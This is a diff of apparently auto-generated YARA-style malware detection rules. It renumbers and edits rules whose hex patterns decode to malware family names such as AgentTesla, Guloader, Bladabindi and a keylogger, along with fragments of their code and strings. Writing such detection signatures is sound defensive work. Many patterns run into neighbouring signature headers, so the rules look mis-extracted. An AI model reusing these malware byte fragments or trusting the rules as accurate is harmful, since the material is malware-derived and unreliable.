description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102112,7 +108645,7 @@ rule _InfrastructureShared_9493{ ((#a_46_0 & 1)*21283+(#a_8d_1 & 1)*-8115+(#a_69_2 & 1)*12108) >=3 } -rule _InfrastructureShared_9494{ +rule _InfrastructureShared_10091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102124,7 +108657,7 @@ rule _InfrastructureShared_9494{ ((#a_4c_0 & 1)*21539+(#a_4b_1 & 1)*21593+(#a_00_2 & 1)*7680) >=3 } -rule _InfrastructureShared_9495{ +rule _InfrastructureShared_10092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102135,7 +108668,7 @@ rule _InfrastructureShared_9495{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28041) >=3 } -rule _InfrastructureShared_9496{ +rule _InfrastructureShared_10093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102146,7 +108679,7 @@ rule _InfrastructureShared_9496{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*117) >=3 } -rule _InfrastructureShared_9497{ +rule _InfrastructureShared_10094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -102158,7 +108691,7 @@ rule _InfrastructureShared_9497{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*101+(#a_47_2 & 1)*9984) >=3 } -rule _InfrastructureShared_9498{ +rule _InfrastructureShared_10095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -102171,7 +108704,7 @@ rule _InfrastructureShared_9498{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*27745+(#a_90_2 & 1)*-176+(#a_6c_3 & 1)*29811) >=3 } -rule _InfrastructureShared_9499{ +rule _InfrastructureShared_10096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -102182,18 +108715,29 @@ rule _InfrastructureShared_9499{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16484) >=3 } -rule _InfrastructureShared_9500{ +rule _InfrastructureShared_10097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 65 72 43 72 79 70 74 2e 53 4c 21 4d 54 42 00 02 00 26 03 83 c4 08 68 90 01 04 8b 0d 90 01 04 51 8b 55 90 01 01 52 ff 15 90 01 04 dd 05 90 01 04 83 ec 08 dd 1c 24 e8 90 00 02 00 32 } //16675 - $a_00_1 = {30 00 00 0f b7 15 90 01 04 81 f2 90 01 04 83 f2 90 01 01 52 6a 00 ff 15 90 01 04 50 ff 15 90 01 04 a3 90 01 04 dd 05 90 01 04 83 ec 08 90 00 00 00 78 8d 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 6c 79 53 74 75 64 69 6f 2e 4e 46 21 4d 54 42 00 03 00 2b 03 ff 35 50 8f 40 } //20739 + $a_00_1 = {30 00 00 0f b7 15 90 01 04 81 f2 90 01 04 83 f2 90 01 01 52 6a 00 ff 15 90 01 04 50 ff 15 90 01 04 a3 90 01 04 dd 05 90 01 04 83 ec 08 90 00 00 00 78 8d 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 53 57 21 4d 54 42 00 02 00 38 01 06 08 8f } //20739 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*20739) >=4 } -rule _InfrastructureShared_9501{ +rule _InfrastructureShared_10098{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 42 6c 61 64 61 62 69 6e 64 69 2e 53 57 21 4d 54 42 00 02 00 38 01 06 08 8f 18 00 00 02 7b 1a 00 00 04 03 33 0f 06 08 8f 18 00 00 02 7b 1b 00 00 04 0d 2b 1a 06 08 8f 18 00 00 02 7b 1b 00 } //21283 + $a_0c_1 = {08 17 58 0c 08 07 32 cc 16 0c 2b c8 02 00 1f 01 53 55 50 45 52 5f 50 4f 57 45 52 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 } //1024 + condition: + ((#a_46_0 & 1)*21283+(#a_0c_1 & 1)*1024) >=4 + +} +rule _InfrastructureShared_10099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -102204,7 +108748,7 @@ rule _InfrastructureShared_9501{ ((#a_4c_0 & 1)*21539+(#a_8f_1 & 1)*3467) >=4 } -rule _InfrastructureShared_9502{ +rule _InfrastructureShared_10100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102216,7 +108760,7 @@ rule _InfrastructureShared_9502{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*25441+(#a_2e_2 & 1)*29811) >=4 } -rule _InfrastructureShared_9503{ +rule _InfrastructureShared_10101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102228,7 +108772,7 @@ rule _InfrastructureShared_9503{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*29797+(#a_2e_2 & 1)*25459) >=4 } -rule _InfrastructureShared_9504{ +rule _InfrastructureShared_10102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102241,7 +108785,7 @@ rule _InfrastructureShared_9504{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*2167+(#a_00_2 & 1)*115+(#a_62_3 & 1)*22273) >=4 } -rule _InfrastructureShared_9505{ +rule _InfrastructureShared_10103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102254,7 +108798,7 @@ rule _InfrastructureShared_9505{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*31090+(#a_00_2 & 1)*26478+(#a_68_3 & 1)*26113) >=4 } -rule _InfrastructureShared_9506{ +rule _InfrastructureShared_10104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102267,7 +108811,7 @@ rule _InfrastructureShared_9506{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26214+(#a_6e_2 & 1)*26738+(#a_3a_3 & 1)*24938) >=4 } -rule _InfrastructureShared_9507{ +rule _InfrastructureShared_10105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102280,7 +108824,7 @@ rule _InfrastructureShared_9507{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21300+(#a_76_2 & 1)*29540+(#a_65_3 & 1)*25452) >=4 } -rule _InfrastructureShared_9508{ +rule _InfrastructureShared_10106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102292,7 +108836,7 @@ rule _InfrastructureShared_9508{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29548+(#a_48_3 & 1)*8448) >=4 } -rule _InfrastructureShared_9509{ +rule _InfrastructureShared_10107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102305,7 +108849,7 @@ rule _InfrastructureShared_9509{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28440+(#a_e8_2 & 1)*-29697+(#a_31_3 & 1)*22595) >=4 } -rule _InfrastructureShared_9510{ +rule _InfrastructureShared_10108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102318,7 +108862,7 @@ rule _InfrastructureShared_9510{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*385+(#a_69_2 & 1)*25705+(#a_6e_3 & 1)*30465) >=4 } -rule _InfrastructureShared_9511{ +rule _InfrastructureShared_10109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -102331,7 +108875,7 @@ rule _InfrastructureShared_9511{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24948+(#a_45_2 & 1)*19827+(#a_44_3 & 1)*16686) >=4 } -rule _InfrastructureShared_9512{ +rule _InfrastructureShared_10110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -102344,7 +108888,7 @@ rule _InfrastructureShared_9512{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*25445+(#a_90_2 & 1)*778+(#a_2e_3 & 1)*28532) >=4 } -rule _InfrastructureShared_9513{ +rule _InfrastructureShared_10111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -102355,7 +108899,7 @@ rule _InfrastructureShared_9513{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0) >=5 } -rule _InfrastructureShared_9514{ +rule _InfrastructureShared_10112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -102366,19 +108910,33 @@ rule _InfrastructureShared_9514{ ((#a_72_0 & 1)*22051+(#a_22_1 & 1)*16383) >=5 } -rule _InfrastructureShared_9515{ +rule _InfrastructureShared_10113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 46 6c 61 73 68 48 65 6c 70 65 72 2e 4d 4a 33 00 02 00 24 80 01 61 70 69 2e 66 6c 61 73 68 2e 63 6e 2f 75 70 64 61 74 65 2d 63 64 6d 2f 67 65 74 6f 66 66 65 72 2d 6e } //16675 $a_00_1 = {0d } //30565 - $a_6c_2 = {73 68 70 6c 61 79 65 72 61 78 01 00 0a 80 01 6d 61 63 72 6f 6d 65 64 69 61 01 00 0b 80 01 6f 66 66 65 72 53 63 72 65 65 6e 00 00 78 8d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 46 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 6f 6e 6f 63 6f 6e 64 79 6c } //384 + $a_6c_2 = {73 68 70 6c 61 79 65 72 61 78 01 00 0a 80 01 6d 61 63 72 6f 6d 65 64 69 61 01 00 0b 80 01 6f 66 66 65 72 53 63 72 65 65 6e 00 00 78 8d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 44 30 31 21 4d 54 42 00 01 00 09 81 01 68 61 6b 6b 65 6c 73 65 72 01 00 05 } //384 + $a_66_3 = {64 65 01 00 16 81 01 62 6c 75 65 69 73 68 20 6c 65 74 74 65 6e 20 6d 61 6e 67 65 72 73 01 00 11 81 01 74 72 61 6e 73 70 65 72 73 6f 6e 61 6c 2e 65 78 65 01 00 17 81 01 61 70 6f 73 74 61 73 69 73 5c 6c 6f 70 70 65 72 69 6e 67 2e 7a 69 70 00 00 78 8d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 } //385 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30565+(#a_6c_2 & 1)*384) >=5 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*30565+(#a_6c_2 & 1)*384+(#a_66_3 & 1)*385) >=5 } -rule _InfrastructureShared_9516{ +rule _InfrastructureShared_10114{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 44 30 31 21 4d 54 42 00 01 00 09 81 01 68 61 6b 6b 65 6c 73 65 72 01 00 05 81 01 61 66 6e 64 65 01 00 16 81 01 62 6c 75 65 69 73 68 20 6c 65 74 74 65 6e 20 6d 61 6e 67 65 72 73 01 00 11 81 01 74 } //18467 + $a_73_1 = {65 72 73 6f 6e 61 6c 2e 65 78 65 01 00 17 81 01 61 70 6f 73 74 61 73 69 73 5c 6c 6f 70 70 65 72 69 6e 67 2e 7a 69 70 00 00 78 8d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 46 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 6f 6e 6f 63 6f 6e 64 79 6c 61 01 00 09 81 01 6c 65 70 74 } //24946 + $a_6e_2 = {01 00 06 81 01 61 6e 61 62 69 61 01 00 12 81 01 73 70 6f 6e 64 79 6c 69 63 20 68 79 70 61 6c 67 69 63 01 00 1e 81 01 69 6d 62 69 62 65 73 20 72 68 61 70 73 6f 64 69 65 20 67 6c 6f 73 61 72 69 65 72 6e 65 73 00 00 78 8d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4e 43 31 32 33 21 4d 54 42 00 01 00 0e 81 01 62 } //29551 + $a_67_3 = {6e 75 6d 72 65 6e 65 73 01 00 06 81 01 74 6f 6c 6c 6f 6e 01 00 1d 81 01 62 72 6e 64 66 6f 72 67 69 66 74 6e 69 6e 67 20 73 65 6d 69 67 65 6e 74 6c 65 6d 61 6e 01 00 11 81 01 6e 6f 6e 63 72 79 73 74 61 6c 6c 69 73 69 6e 67 73 01 00 08 81 01 75 64 74 76 72 69 6e 67 00 00 78 8d 00 00 05 00 05 } //27753 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24946+(#a_6e_2 & 1)*29551+(#a_67_3 & 1)*27753) >=5 + +} +rule _InfrastructureShared_10115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -102392,7 +108950,7 @@ rule _InfrastructureShared_9516{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*26656+(#a_66_2 & 1)*28274+(#a_00_3 & 1)*21581+(#a_69_4 & 1)*26996) >=5 } -rule _InfrastructureShared_9517{ +rule _InfrastructureShared_10116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -102405,33 +108963,46 @@ rule _InfrastructureShared_9517{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25959+(#a_70_2 & 1)*-32492+(#a_6e_3 & 1)*29305) >=5 } -rule _InfrastructureShared_9518{ +rule _InfrastructureShared_10117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 46 31 32 33 21 4d 54 42 00 01 00 05 81 01 73 75 69 6e 74 01 00 08 81 01 68 61 6c 65 6e 64 65 73 01 00 14 81 01 70 61 70 79 72 69 6e 65 20 69 6e 66 72 61 6e 67 69 62 6c 79 01 00 18 81 01 66 6f } //18467 $a_65_1 = {20 75 6e 66 69 63 74 69 74 69 6f 75 73 6e 65 73 73 01 00 11 81 01 68 69 65 72 61 74 69 63 61 20 66 6f 72 65 6e 6b 6c 00 00 78 8d 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4e 30 31 21 4d 54 42 00 01 00 12 81 01 75 66 6f 72 75 64 73 69 67 65 6c } //27762 - $a_65_2 = {65 6e 01 00 0b 81 01 74 69 64 73 73 6b 72 69 66 74 73 01 00 0d 81 01 75 70 70 65 72 63 6c 61 73 73 6d 61 6e 01 00 07 81 01 6b 72 61 64 73 65 73 01 00 1a 81 01 73 75 63 63 65 73 73 69 6f 6e 73 73 79 6e 73 70 75 6e 6b 74 65 74 2e 65 78 65 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //26473 - $a_49_3 = {2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 30 21 4d 54 42 00 01 00 0a 81 01 53 61 6e 66 6f 72 64 31 31 32 01 00 0c 81 01 4f 49 57 44 48 44 4a 57 44 43 48 58 01 00 10 81 01 49 4f 55 48 46 53 48 46 49 48 59 55 47 42 43 53 01 00 07 81 01 54 6f } //19770 - $a_33_4 = {01 00 0a 01 0c 08 20 00 42 01 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 30 21 4d 54 42 00 01 00 0d 81 01 51 57 45 52 54 59 53 44 46 47 48 4a 4b 01 00 0f 81 01 4f 4b 4d 4e 4a 49 55 } //26967 + $a_65_2 = {65 6e 01 00 0b 81 01 74 69 64 73 73 6b 72 69 66 74 73 01 00 0d 81 01 75 70 70 65 72 63 6c 61 73 73 6d 61 6e 01 00 07 81 01 6b 72 61 64 73 65 73 01 00 1a 81 01 73 75 63 63 65 73 73 69 6f 6e 73 73 79 6e 73 70 75 6e 6b 74 65 74 2e 65 78 65 00 00 78 8d 00 00 06 00 06 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a } //26473 + $a_57_3 = {6e 33 32 2f 43 6f 6d 65 74 64 61 73 68 2e 42 21 64 68 61 00 05 00 1e 01 54 65 6d 69 6e 61 74 65 20 54 68 72 65 61 64 20 61 63 63 65 70 74 68 72 65 61 64 20 52 50 05 00 1d 01 } //28257 + $a_5f_4 = {50 2e 64 6c 6c 00 4c 6f 61 64 4d 69 6d 69 00 4c 6f 61 64 4d 69 6d 69 57 01 00 18 01 43 6f 6e 6e 65 63 74 20 57 65 62 50 72 6f 78 79 20 43 6f 6e 6e 65 63 74 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 } //25943 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27762+(#a_65_2 & 1)*26473+(#a_49_3 & 1)*19770+(#a_33_4 & 1)*26967) >=5 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27762+(#a_65_2 & 1)*26473+(#a_57_3 & 1)*28257+(#a_5f_4 & 1)*25943) >=5 } -rule _InfrastructureShared_9519{ +rule _InfrastructureShared_10118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 4e 30 31 21 4d 54 42 00 01 00 12 81 01 75 66 6f 72 75 64 73 69 67 65 6c 69 67 68 65 64 65 6e 01 00 0b 81 01 74 69 64 73 73 6b 72 69 66 74 73 01 00 0d 81 01 75 70 70 65 72 63 6c 61 73 73 6d 61 } //18467 - $a_72_2 = {64 73 65 73 01 00 1a 81 01 73 75 63 63 65 73 73 69 6f 6e 73 73 79 6e 73 70 75 6e 6b 74 65 74 2e 65 78 65 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 30 21 4d 54 42 00 01 00 0a 81 01 53 61 6e 66 6f 72 64 31 31 32 01 00 0c 81 } //385 - $a_57_3 = {48 44 4a 57 44 43 48 58 01 00 10 81 01 49 4f 55 48 46 53 48 46 49 48 59 55 47 42 43 53 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0a 01 0c 08 20 00 42 01 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 8d 00 } //20225 + $a_72_2 = {64 73 65 73 01 00 1a 81 01 73 75 63 63 65 73 73 69 6f 6e 73 73 79 6e 73 70 75 6e 6b 74 65 74 2e 65 78 65 00 00 78 8d 00 00 06 00 06 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 65 74 64 61 73 68 2e 42 21 64 68 61 00 05 00 1e 01 54 65 6d 69 6e 61 74 65 20 54 68 72 65 61 64 20 61 63 } //385 + $a_74_3 = {72 65 61 64 20 52 50 05 00 1d 01 57 65 62 5f 52 50 2e 64 6c 6c 00 4c 6f 61 64 4d 69 6d 69 00 4c 6f 61 64 4d 69 6d 69 57 01 00 18 01 43 6f 6e 6e 65 63 74 20 57 65 62 50 72 6f 78 79 20 43 6f 6e 6e 65 63 74 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d } //25955 + $a_30_4 = {4d 54 42 00 01 00 0a 81 01 53 61 6e 66 6f 72 64 31 31 32 01 00 0c 81 01 4f 49 57 44 48 44 4a 57 44 43 48 58 01 00 10 81 01 49 4f 55 48 46 53 48 46 49 } //13133 condition: - ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*385+(#a_57_3 & 1)*20225) >=5 + ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*385+(#a_74_3 & 1)*25955+(#a_30_4 & 1)*13133) >=5 } -rule _InfrastructureShared_9520{ +rule _InfrastructureShared_10119{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 65 74 64 61 73 68 2e 42 21 64 68 61 00 05 00 1e 01 54 65 6d 69 6e 61 74 65 20 54 68 72 65 61 64 20 61 63 63 65 70 74 68 72 65 61 64 20 52 50 05 00 1d 01 57 65 62 5f 52 50 } //16675 + $a_6c_1 = {4c 6f 61 64 4d 69 6d 69 00 4c 6f 61 64 4d 69 6d 69 57 01 00 18 01 43 6f 6e 6e 65 63 74 20 57 65 62 50 72 6f 78 79 20 43 6f 6e 6e 65 63 74 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 30 21 4d 54 42 00 01 00 0a 81 01 53 61 6e 66 } //25646 + $a_31_2 = {32 01 00 0c 81 01 4f 49 57 44 48 44 4a 57 44 43 48 58 01 00 10 81 01 49 4f 55 48 46 53 48 46 49 48 59 55 47 42 43 53 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0a 01 0c 08 20 00 42 01 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f } //29295 + condition: + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25646+(#a_31_2 & 1)*29295) >=6 + +} +rule _InfrastructureShared_10120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -102446,7 +109017,7 @@ rule _InfrastructureShared_9520{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*18261+(#a_2f_2 & 1)*18771+(#a_81_3 & 1)*1+(#a_01_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_9521{ +rule _InfrastructureShared_10121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -102455,42 +109026,52 @@ rule _InfrastructureShared_9521{ $a_47_1 = {48 4a 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 01 0c 08 20 00 d8 00 00 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 8d 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 41 56 4d 21 4d 54 42 00 01 00 0f 81 01 48 } //17991 $a_65_2 = {63 6c 78 66 6b 63 6b 64 6c 01 00 0b 81 01 43 72 65 61 74 65 46 69 6c 65 57 01 00 0c 81 01 47 65 74 54 65 6d 70 50 61 74 68 57 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0a 81 01 44 65 62 75 67 42 72 65 61 6b 01 00 09 81 01 48 65 61 70 41 6c 6c 6f 63 00 00 78 8d 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a } //25451 $a_6a_3 = {6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 43 43 49 44 21 4d 54 42 00 01 00 0d 01 6b 65 79 6c 6f 67 67 65 72 2e 6c 6f 67 01 00 11 01 4c 6f 67 67 69 6e 67 20 6f 75 74 70 75 74 20 74 6f 01 00 0b 01 5b 42 41 43 4b 53 50 41 43 45 5d 01 00 05 01 5b 54 41 42 5d 01 00 07 01 5b 53 48 49 46 54 5d 01 00 08 01 5b 45 53 43 41 50 45 } //29268 - $a_4f_5 = {45 5d 00 00 78 8d 00 00 09 00 09 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 49 49 6d 70 65 72 73 6f 6e 61 74 6f 72 2e 41 00 02 00 0b 80 01 4f 70 65 6e 53 65 72 76 69 63 65 02 00 10 80 01 54 72 75 73 74 } //23297 + $a_4f_5 = {45 5d 00 00 78 8d 00 00 08 00 08 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 5a 56 52 21 4d 54 42 00 04 00 22 80 01 3a 2f 2f 62 69 72 74 68 64 61 79 72 65 77 61 72 } //23297 condition: ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*17991+(#a_65_2 & 1)*25451+(#a_6a_3 & 1)*29268+(#a_4f_5 & 1)*23297) >=6 } -rule _InfrastructureShared_9522{ +rule _InfrastructureShared_10122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 53 70 79 6e 6f 6f 6e 2e 41 56 4d 21 4d 54 42 00 01 00 0f 81 01 48 6b 63 6f 65 64 63 6c 78 66 6b 63 6b 64 6c 01 00 0b 81 01 43 72 65 61 74 65 46 69 6c 65 57 01 00 0c 81 01 47 65 74 54 65 6d 70 50 61 74 68 57 01 00 11 81 01 49 73 } //18467 $a_75_1 = {67 65 72 50 72 65 73 65 6e 74 01 00 0a 81 01 44 65 62 75 67 42 72 65 61 6b 01 00 09 81 01 48 65 61 70 41 6c 6c 6f 63 00 00 78 8d 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 43 43 49 44 21 4d 54 42 00 01 00 0d 01 6b 65 79 6c 6f } //25924 - $a_72_2 = {6c 6f 67 01 00 11 01 4c 6f 67 67 69 6e 67 20 6f 75 74 70 75 74 20 74 6f 01 00 0b 01 5b 42 41 43 4b 53 50 41 43 45 5d 01 00 05 01 5b 54 41 42 5d 01 00 07 01 5b 53 48 49 46 54 5d 01 00 08 01 5b 45 53 43 41 50 45 5d 01 00 06 01 5b 48 4f 4d 45 5d 00 00 78 8d 00 00 09 00 09 00 05 00 21 23 54 72 6f 6a 61 6e } //26471 - $a_6e_3 = {32 2f 54 49 49 6d 70 65 72 73 6f 6e 61 74 6f 72 2e 41 00 02 00 0b 80 01 4f 70 65 6e 53 65 72 76 69 63 65 02 00 10 80 01 54 72 75 73 74 65 64 49 6e 73 74 61 6c 6c 65 72 02 00 0b 80 01 4f 70 65 6e 50 72 6f 63 65 73 73 02 00 19 80 01 55 70 64 61 74 65 50 72 6f 63 54 68 72 65 61 64 41 74 74 72 69 62 75 74 65 01 00 0d } //22330 - $a_72_4 = {61 74 65 50 72 6f 63 65 73 73 00 00 78 8d 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 33 21 4d 54 42 00 0a 00 5b 02 06 17 58 } //384 - $a_01_5 = {02 01 00 00 5d 0a 08 11 06 06 94 58 0c 08 90 01 02 01 00 00 5d 0c 11 06 06 94 13 04 11 06 06 11 06 08 94 9e 11 06 08 11 04 9e 11 06 11 06 06 94 11 06 08 94 58 90 01 02 01 00 00 5d 94 0d 11 07 07 11 08 07 91 09 61 d2 9c 07 17 58 0b 07 11 08 8e 69 90 00 00 00 78 8d 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 58 21 4d 54 42 00 0a 00 39 02 03 11 04 18 28 } //1546 